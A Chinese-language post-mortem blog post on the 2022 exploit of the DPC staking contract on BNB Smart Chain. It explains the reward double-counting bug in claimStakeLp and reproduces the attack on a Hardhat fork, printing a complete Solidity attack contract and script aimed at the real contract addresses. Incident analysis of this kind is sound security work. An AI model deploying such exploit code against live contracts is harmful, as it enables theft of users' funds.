dpc攻击事件分析与复现

2022-09-18

简述

部署在bsc链上的DPC智能合约由于计算奖励部分逻辑错误被攻击者恶意利用,损失7w$。

分析

攻击者钱包地址:

0xf211Fa86CBc60d693D687075B03dFF3c225b25C9

攻击合约地址:

0x2109bbecB0a563e204985524Dd3DB2F6254AB419

被攻击合约地址:

0xb75ca3c3e99747d0e2f6e75a9fbd17f5ac03cebe

攻击hash:

1、转账至攻击合约

https://bscscan.com/tx/0x9cfa3425bfb38eee34cc395b621df4b1b909b560af43c08048b1a8acb094d4a1

2、调用受害合约tokenAirdrop(为了满足最后的claim 的条件)

https://bscscan.com/tx/0x4d9a4b90c0916e547b86dc3df52aeffede0a8b6d59ac16febc50babeef943f15

3、准备资金 质押

https://bscscan.com/tx/0x0a9158bd93e505c019d687ea64a2f2a9032178ee07dd3f23783bb7a8a5f2ce1c

4、利用漏洞不断claim 使奖励累加

https://bscscan.com/tx/0xe4c0ce1b77a4fcd49d29720953454561eb43f27635cc9f7a5e2df9c697347a62

5、领取奖励 获利离场

https://bscscan.com/tx/0x92cab23d536d2e13ecb7c473350121165de0ae6c6c81be94ba502ac7db72e86f

漏洞分析

漏洞原因出在claimStakeLp 函数,在计算奖励的时候claimStakeLp会去调用getClaimQuota函数,将获取到的结果加上原来的记录值

image-20220918154729101

而getClaimQuota函数已经加上了原来的奖励,这就导致只要不断的调用claimStakeLp(),奖励会一直累加从而变成一个较大值

image-20220918154835355

从攻击者的hash分析,第一次claim 的时候306995598970176

image-20220918155924160

第二次已经变成了613991197940352

image-20220918160031713

不停累加最后变成一个较大的值

image-20220918160140571

漏洞复现

使用hardhat fork bsc 21179209区块

攻击合约
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
pragma solidity ^0.8.10;

import "hardhat/console.sol";

interface IERC20{
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external ;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external;// returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns(uint);
}

interface IPancakeRouter {

function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external;

function swapExactETHForTokens(
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
}


interface IDPC{
function approve(address, uint256) external;
function balanceOf(address) external returns (uint256);
function tokenAirdrop(address, address, uint) external;
function stakeLp(address, address, uint256) external;
function claimStakeLp(address, uint256) external;
function claimDpcAirdrop(address) external;
}

interface IPair{
function approve(address, uint256) external;
function balanceOf(address) external returns (uint256);
}

contract hack {
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
IDPC DPC = IDPC(0xB75cA3C3e99747d0e2F6e75A9fBD17F5Ac03cebE);
IPair Pair = IPair(0x79cD24Ed4524373aF6e047556018b1440CF04be3);
IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
address attacker = 0xf211Fa86CBc60d693D687075B03dFF3c225b25C9;
address owner;
function approveall() public payable{
USDT.approve(address(router), type(uint).max);
DPC.approve(address(router), type(uint).max);
Pair.approve(address(DPC),type(uint).max);
USDT.approve(address(DPC),type(uint).max);
WBNB.approve(address(router), type(uint).max);
address(WBNB).call{value:msg.value}('');
}

constructor(){
owner = msg.sender;
}

modifier onlyOwner{
require(owner == msg.sender,"not owner");
_;
}


//swap wbnb to usdt
function swapBnbToUsdt() public {
address[] memory path = new address[](2);
path[0] = address(WBNB);
path[1] = address(USDT);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
WBNB.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp+1000
);
}

function swapUsdtToDpc()public {
address[] memory path = new address[](2);
path[0] = address(USDT);
path[1] = address(DPC);
router.swapExactTokensForTokens(
USDT.balanceOf(address(this)) / 2,
0,
path,
address(this),
block.timestamp + 1000
);
}

function addliquidity() public{
router.addLiquidity(
address(USDT),
address(DPC),
USDT.balanceOf(address(this)),
DPC.balanceOf(address(this)),
0,
0,
address(this),
block.timestamp+1000
);
}

function stakelp() public {
DPC.stakeLp(address(this), address(DPC), Pair.balanceOf(address(this)));
}
function tokenairdrop() public{
DPC.tokenAirdrop(address(this), address(DPC), 100);
}

function DPCToWBNB() public {
address[] memory path = new address[](3);
path[0] = address(DPC);
path[1] = address(USDT);
path[2] = address(WBNB);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
DPC.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
}

function attack() external {

for(uint i=0;i<=15;i++){
DPC.claimStakeLp(address(this),1);
}
DPC.claimDpcAirdrop(address(this));
DPCToWBNB();
// console.log(WBNB.balanceOf(address(this)));
}


}
攻击脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
const hre = require('hardhat')

async function main() {
const hacker = ''
const wbnb = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c'
const usdt = '0x55d398326f99059fF775485246999027B3197955'
const dpc = '0xB75cA3C3e99747d0e2F6e75A9fBD17F5Ac03cebE'
const pair = '0x79cD24Ed4524373aF6e047556018b1440CF04be3'

await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: [hacker]
})

const signer = await hre.ethers.getSigner(hacker)

//step1 depoly contract
let ATTACK = await hre.ethers.getContractFactory("hack", signer)
let attack = await ATTACK.deploy()
await attack.deployed()

console.log("attack contrack deployed address is:", attack.address)

let wbnbContract = await hre.ethers.getContractAt('IBEP20', wbnb)
let usdtContract = await hre.ethers.getContractAt('IBEP20', usdt)
let dpcContract = await hre.ethers.getContractAt('IBEP20', dpc)
let pairContract = await hre.ethers.getContractAt('IBEP20', pair)
bal1 = await wbnbContract.balanceOf(attack.address)
bal2 = await usdtContract.balanceOf(attack.address)
bal3 = await dpcContract.balanceOf(attack.address)

//step2 prepare money...
console.log("bofore attack contract wbnb balance is:",bal1/1e18)
//向合约转入2bnb做准备
await attack.approveall({
value: hre.ethers.utils.parseEther("2")
});
await attack.swapBnbToUsdt();
await attack.swapUsdtToDpc();
bal4 = await dpcContract.balanceOf(attack.address)
bal7 = await usdtContract.balanceOf(attack.address)
console.log("prepare complete dpc balance is:",bal4/1e18)
console.log("prepare complete usdt balance is:",bal7/1e18)

await attack.tokenairdrop()

console.log("addLiquidity...");
await attack.addliquidity();
bal8 = pairContract.balanceOf(attack.address)
console.log("addliquidity complete lp balance is:",bal8/1e18)

console.log("start stake...");
bal5 = await pairContract.balanceOf(attack.address)
console.log("attack contract lp balance is:",bal5/1e18)
await attack.stakelp();

console.log("wait for 10 min");
await hre.network.provider.send("evm_increaseTime", [600]);
await hre.network.provider.send("evm_mine");
await attack.attack()
bal6 = await wbnbContract.balanceOf(attack.address)
console.log("attack complete bnb balance is:",bal6/1e18)

}

main()

结果如下:

1
2
3
4
5
6
7
8
9
10
attack contrack deployed address is: 0x935155685E46b18B08f5F986d75e5DcB91f17a26
bofore attack contract wbnb balance is: 0
prepare complete dpc balance is: 20.923067754791003
prepare complete usdt balance is: 288.1982206006127
addLiquidity...
addliquidity complete lp balance is: NaN
start stake...
attack contract lp balance is: 48.720538302956676
wait for 10 min
attack complete dpc balance is: 10.634457706077313

获利大小与初始资金有关

参考链接

https://learnblockchain.cn/article/4733
https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/DPC_exp.sol